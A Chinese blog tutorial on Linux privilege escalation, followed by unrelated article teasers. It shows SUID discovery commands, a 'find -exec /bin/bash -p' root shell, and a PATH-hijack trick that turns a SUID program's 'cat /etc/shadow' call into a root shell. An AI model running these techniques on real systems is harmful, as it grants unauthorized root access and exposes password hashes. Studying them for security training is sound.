【网络攻防】Linux提权(待更)

news2024/11/18 9:46:18

Linux提权

文章目录

    • Linux提权
      • 1.利用suid提权
        • (1)如何设置suid
        • (2)如何找到设置了suid的程序
        • (3) suid提权
      • 2.利用环境变量提权
        • (1)创建拥有 suid 权限的程序
        • (2)劫持环境变量
      • 3.passwd提权(利用acl配置缺陷)

1.利用suid提权

参考博客1
参考博客2
suid(set uid)是一种特殊权限,具有这种权限的文件在执行时会使调用者暂时获得该文件拥有者的权限。这种设置只针对于二进制可执行文件

(1)如何设置suid

chmod u+s filename //设置suid位
chmod u-s filename //去掉suid设置

(2)如何找到设置了suid的程序

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

(3) suid提权

常见可以用来提权的程序有:nmap、vim、find、bash、more、less、nano、cp

这里用find举例
a.首先使用(2)中的命令查找有suid的程序

find可以添加-exec参数来对查找的结果进行处理:
b.find “一个已经存在的suid文件” -exec “whoami” ;
注:1.这个文件必须存在
2.-exec命令需要以;结尾,但是;在bash中有特殊含义(代表代码块的结束),需要转义。

该命令使用find查找该目录,并用whoami查看此时权限
请添加图片描述之后执行口令进入shell
c.

find filename -exec /bin/bash -p  \;

请添加图片描述

2.利用环境变量提权

参考博客

(1)创建拥有 suid 权限的程序

详情请看参考博客
比如创建内容为下的程序,编译后名为test-exp:

#include <stdlib.h>
#include <unistd.h>
int main()
{
    setuid(0);//run as root
    system("id");
    system("cat /etc/shadow");
    return 0;
}

(2)劫持环境变量

echo $PATH //查看系统环境变量

挑选一个目录,执行

echo "/bin/bash" > cat && chmod 777 cat //相当于构造了一个cat

把当前目录加入到环境变量,比如我选择/tmp目录,这个添加是临时的,当终端关闭时又会恢复原来的样子

export PATH=.:$PATH

因为在 suid程序中 中存在 system(“cat /etc/shadow”);,使用 cat 命令,因为 cat 命令被劫持成了 /bin/bash,就变成了 system("/bin/bash /etc/shadow),这个文件又是 SUID 文件以 root 权限执行,就直接切换至了 root 用户。

切换到有suid程序的目录下面,调出shell界面

./test-exp 

提权成功,可以执行命令。

3.passwd提权(利用acl配置缺陷)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/82563.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue innerHTML 绑定单击事件不生效

在使用 vue时候对 innerHTML进行绑定单击事件&#xff0c;绑定后事件不生效 原代码 div.innerHTML "<el-button sizemini typetext clickhandleUpdate1("JSON.stringify(warnCntItem)") stylecolor: #f56c6c> "warnCntItem.warnCnt"</el-b…

【云计算与大数据技术】分布式协同系统Chubby锁、ZooKeeper在HDFS中的使用讲解(图文解释 超详细)

阿里云Kuafa RPC系统 夸父(Kuafu)是飞天平台内核中负责网络通信的模块&#xff0c;它提供了一 个 RPC 的接口 , 简化编写基于网络的分布式应用 夸父的设计目标是提供高可用(724小时)、大吞吐量(Gigabyte)、高效率、易用(简明 API、多种协议和编程接口)的 RPC服务 Hadoop IPC…

【软件测试】资深测试的建议。初入测试行的小伙伴,准备起航吧......

目录&#xff1a;导读前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;前言 大部分初级的岗位&a…

Java面试题总结-抽象类和接口的区别

抽象类是用来捕捉子类的通用特性的。接口是抽象方法的集合。 从设计层面来说&#xff0c;抽象类是对类的抽象&#xff0c;是一种模板设计&#xff0c;接口是行为的抽象&#xff0c;是一种行为的规范。 想要了解抽象类和接口的区别&#xff0c;我们首先要想清楚抽象类和接口的相…

Word控件Spire.Doc 【超链接】教程(3):在C#中查找word文档中的超链接

Spire.Doc for .NET是一款专门对 Word 文档进行操作的 .NET 类库。在于帮助开发人员无需安装 Microsoft Word情况下&#xff0c;轻松快捷高效地创建、编辑、转换和打印 Microsoft Word 文档。拥有近10年专业开发经验Spire系列办公文档开发工具&#xff0c;专注于创建、编辑、转…

服务端监控工具:Nmon使用方法

目录&#xff1a;导读 一、认识nmon 二、检查安装环境 三、nmon下载安装 四、运行nmon 五、采集数据 总结 写在最后 一、认识nmon 1、简介 nmon是一种在AIX与各种Linux操作系统上广泛使用的监控与分析工具&#xff0c;它能在系统运行过程中实时地捕捉系统资源的使用情…

再学C语言1:开发环境

重新把C语言梳理一遍&#xff0c;学习在VSCode中进行C语言编程。 因此第一步是把环境配置起来。 步骤一&#xff1a;下载、安装VSCode 官网下载即可&#xff0c;地址&#xff1a;https://code.visualstudio.com/Visual Studio Code is a code editor redefined and optimize…

Docker:docker安装nginx

目录 一、容器之间相互通信 1、两个容器在同一网段 2、两个容器在不同网段 二、安装Nginx 1.nginx是什么 2. 安装nginx 三、部署前端项目 2.nginx.conf讲解 一、容器之间相互通信 1、两个容器在同一网段 查看docker中已安装的所有网络 docker network ls 查看自定义网络myn…

springboot+java农家乐系统-住宿-美食-活动vue

目 录 摘 要 1 Abstract 1 1 系统概述 4 1.1 概述 4 1.2课题意义 4 1.3 主要内容 4 2 系统开发环境 5 2.1 JAVA简介 5 2.2 B/S架构 5 2.3系统对MySQL数据库的两种连接方式 6 2.4 MySql数据库 6 3 需求分析 7 3.1技术可行性&#xff1a…

交互式分割: Interactive Object Segmentation with Inside-Outside Guidance

论文&#xff1a;https://ieeexplore.ieee.org/document/9157733 代码&#xff1a; https://github.com/shiyinzhang/Inside-Outside-Guidance 思想概述 作者利用画取一个BBOX 作为前、背景的快速区分&#xff0c;同时在BBOX内进行进行动手动在前景对象上进行交互&#xff0c…

安装博客,论坛

准备环境 防火墙&#xff0c;selinux关掉 [rootboke ~]#yum -y install mariadb mariadb-server mariadb-libs php php-mysql php-gd php-fpm php-cli gd httpd 安装lamp环境 [rootboke ~]# systemctl start httpd mariadb 启动httpd和mariadb 搭建博客 配数据库 [root…

毕业设计-BP神经网络的房地产价值评估研究

目录 前言 课题背景和意义 实现技术思路 实现效果图样例 前言 &#x1f4c5;大四是整个大学期间最忙碌的时光,一边要忙着备考或实习为毕业后面临的就业升学做准备,一边要为毕业设计耗费大量精力。近几年各个学校要求的毕设项目越来越难,有不少课题是研究生级别难度的,对本科…

(已更新)BGS本地局域网视频源码

BGS本地局域网视频源码是PHP的&#xff0c;TP5.1 数据库和伪静态设置在压缩包&#xff0c;记得设置运行目录为public 数据库配置请到 config\database.php中修改 只支持MP4&#xff0c;上传后观看时候会自动进行转换为m3u8,调用的是FFmpeg&#xff0c;主要就是为了研究php使用F…

[1.2.0新功能系列:三]Apache doris 1.2.0 Java UDF 函数开发及使用

概述 我们在使用各个SQL引擎时&#xff0c;会有纷繁复杂的查询需求。一部分可以通过引擎自带的内置函数去解决&#xff0c;但内置函数不可能解决所有人的问题&#xff0c;所以一般SQL引擎会提供UDF功能&#xff0c;方便用户通过自己写逻辑来满足特定的需求&#xff0c;Doris也…

【扫盲】Getting into project of R

⭐️ what is an r project include in r studio? An R project in RStudio is a self-contained directory that contains all the files and resources associated with a specific R project. This includes the R code files, data files, output files, and any additio…

虹科案例 | 虹科Panarama SCADA平台在风电场测量的应用,实现风电场的高效管理!

虹科Panorama SCADA平台 在风电场测量的应用 虹科方案 01应用背景 随着煤碳、石油等能源的逐渐枯竭&#xff0c;人类越来越重视可再生能源的利用。风能作为一种清洁的可再生能源日益受到世界各国的重视。中国风能储量大&#xff0c;分布面广&#xff0c;仅陆地上的风能储量就…

go基础第二遍学习——简单易理解

此博文是猿猿对go基础的二遍学习&#xff0c;这一遍学习中对go基础有了进一步的理解&#xff0c;笔记齐全&#xff0c;下面跟着猿猿一起学习吧。 文章目录零、知识补充一、包引入三种方式二、go变量和基本数据类型2.1.基本数据类型2.1.1.整数类型2.1.2.浮点类型2.1.3.字符串类型…

VTK-vtkFieldData

欢迎大家加入社区&#xff0c;雪易VTK社区-CSDN社区云 前言&#xff1a;为区分vtkPoints和vtkPointData的区别&#xff0c;了解vtkFieldData在VTK中的存在意义&#xff0c;从而系统的掌握vtk中关于数据的表达方式。 vtk中通过vtkDataArray进行数据的存储&#xff0c;通过vtkD…

艾美捷内皮细胞生长添加剂参数说明和相关研究

内皮细胞生长因子&#xff08;ECGF&#xff09;或内皮细胞生长补充物&#xff08;ECGS&#xff09;是一个术语&#xff0c;也用于含有促进内皮细胞生长和维持活性的牛&#xff08;或猪&#xff09;脑提取物&#xff08;T.Maciag&#xff0c;1972和1982&#xff09;。在早期&…

SQL语法CREATE_大数据培训

1 CREATE 1.1 CREATE DATABASE 用于创建指定名称的数据库&#xff0c;语法如下&#xff1a; CREATE DATABASE [IF NOT EXISTS] db_name 如果查询中存在IF NOT EXISTS&#xff0c;则当数据库已经存在时&#xff0c;该查询不会返回任何错误。 create database test; Ok. 0 …